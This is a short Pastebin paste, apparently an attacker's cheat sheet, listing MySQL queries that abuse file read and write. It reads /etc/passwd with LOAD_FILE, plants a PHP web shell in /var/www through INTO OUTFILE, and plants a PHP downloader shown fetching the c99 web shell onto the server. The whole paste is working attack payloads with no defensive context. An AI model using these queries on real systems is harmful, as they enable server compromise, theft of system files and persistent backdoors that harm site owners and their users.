moemyintshein

MySQL read & write file with query

Mar 7th, 2017
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.65 KB | None | 0 0
  1. "Reading Files from query"
  2.  
  3. SELECT LOAD_FILE('/etc/passwd');
  4.  
  5. ---------------------------------------------------------------------------------
  6.  
  7. "Writing Files from query"
  8.  
  9. To write a PHP shell:
  10. SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
  11.  
  12. and then access it at:
  13. http://localhost/shell.php?c=cat%20/etc/passwd
  14.  
  15. To write a downloader:
  16. SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
  17.  
  18. and then access it at:
  19. http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
  20.  
  21. -----------------------------------------------------------------------------------
Add Comment
Please, Sign In to add comment